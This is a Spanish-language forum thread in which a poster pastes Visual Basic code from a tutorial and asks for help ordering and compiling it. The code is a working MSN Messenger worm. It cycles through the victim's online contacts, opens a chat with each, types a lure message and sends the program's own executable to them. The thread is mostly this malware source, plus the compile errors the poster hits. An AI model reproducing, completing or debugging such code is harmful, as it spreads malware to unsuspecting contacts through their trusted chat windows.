hola a todos, bueno no se si esto va en esto va aquí pero bueno no se mucho de visual basic y no me interesa aprenderlo por los momentos estoy concentrado en otros lenguajes. tengo un codigo q saque de un tuto de hendrix q esta formado de la siguiente manera:
<sup>On Error GoTo NotCompatible
Set w = CreateObject("Messenger.UIAutomation")
For Each ConTacto In w.MyContacts 'Vamos de contacto en contacto
If ConTacto.Status = 2 Then 'Si el contacto esta OnLine...
Set iMsn = w.InstantMessage(ConTacto.SigninName) 'abrimos la ventana de chat
Call SpamMsn(iMsn.hwnd) 'Esta funcion es la que hace el trabajo
Next
End If
Exit Sub
NotCompatible:
MsgBox "No tienes MSN instalado en el sistema", vbCritical, "Error"
end

Private Sub SpamMsn(ByVal mHwnd)
On Error Resume Next
Dim l As Long, spam As String
l = FindWindowEx(mHwnd, 0, "DirectUIHWND", vbNullString) 'Buscamos esa clase dentro de la
ventana
If l = 0 Then Exit Sub 'Si no es asi, nos vamos al carajo
Call SendText(l, "***** Screen saber") 'Mensaje a enviar
EnviarFile App.Path & "\" & App.EXEName & ".exe", l 'Archivo a enviar
End Sub
Bien, empezemos con lo dificil. Primero la funcion para enviar texto. A esta funcion le tenemos
que pasa el handle de la ventana de chat y el texto a enviar. Usaremos las APIs siguientes:
GetForegroundWindow
SetForegroundWindow
PostMessage

Public Sub SendText(pIMWindow As Long, sText As String)
Dim hDirectUI As Long, hPrevWnd As Long
Dim i As Integer
hDirectUI = pIMWindow
Do
Call SetForegroundWindow(hDirectUI)
Loop Until GetForegroundWindow = hDirectUI
For i = 1 To Len(sText)
Call PostMessage(hDirectUI, WM_CHAR, Asc(Mid(sText, i, 1)), 0&)
Next i
Call PostMessage(hDirectUI, WM_KEYDOWN, VK_RETURN, 0&)
Call PostMessage(hDirectUI, WM_KEYUP, VK_RETURN, 0&)
End Sub

Public Function EnviarFile(ByVal DirPath As String, hwn As Long) As Boolean
Dim X As Long
Dim Edit As Long
Dim ParentHWnd As Long
Dim hWndText As String
Dim t As Single
Call PostMessage(GetWindowLong(hwn, GWL_HWNDPARENT), WM_COMMAND, 40275, 0)
DoEvents
X = GetWindow(GetDesktopWindow(), GW_CHILD)
hWndText = fWindowText(X)
t = Timer
Do Until (InStr(hWndText, "Enviar") <> 0 Or (InStr(hWndText, "Send") <> 0)
X = GetWindow(X, GW_HWNDNEXT)
hWndText = fWindowText(X)
If Format(Timer - t, "0.00") > 5 Then GoTo FIN
Loop
Edit = FindWindowEx(X, 0, "Edit", vbNullString)
If Edit = 0 Then
Edit = FindWindowEx(X, 0, "ComboBoxEx32", vbNullString)
Edit = FindWindowEx(Edit, 0, "ComboBox", vbNullString)
End If
If Edit = 0 Then Exit Function
Call SendMessageByString(Edit, WM_SETTEXT, 0, DirPath)
Call PostMessage(Edit, WM_KEYDOWN, VK_RETURN, 0&)
Call PostMessage(Edit, WM_KEYUP, VK_RETURN, 0&)
EnviarFile = True
FIN:
End Function</sup>


Luego me salen las declaraciones de apis y constantes pero public const me sale un error:

^{Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long,
ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long

Public Const WM_KEYDOWN = &H100
Public Const WM_KEYUP = &H101
Public Const WM_CHAR = &H102
Public Const WM_COMMAND = &H111
Public Const VK_RETURN = &HD}

si alguien me puede decir como va ordenado ese codigo se los agredeceria mucho

ok disculpa y gracias  .
ahora tengo un problema al principio del codigo me aparece un error y me imagino q le falta una cabecera como a las demas partes del codigo q la tienen pero esta no:


<sup>Primero debemos comenzar accediendo al msn, a traves del objeto Messenger.UIAutomation.
Una vez hecho esto, iriamos de contacto en contacto, llamando a una funcion con el contacto
online como parametro.


On Error GoTo NotCompatible
Set w = CreateObject("Messenger.UIAutomation")
For Each ConTacto In w.MyContacts 'Vamos de contacto en contacto
If ConTacto.Status = 2 Then 'Si el contacto esta OnLine...
Set iMsn = w.InstantMessage(ConTacto.SigninName) 'abrimos la ventana de chat
Call SpamMsn(iMsn.hwnd) 'Esta funcion es la que hace el trabajo
Next
End If
Exit Sub
NotCompatible:
MsgBox "No tienes MSN instalado en el sistema", vbCritical, "Error"</sup>

cuando compilo me sale un error en "On Error GoTo NotCompatible" y me dice q el procedimiento externo no es valido
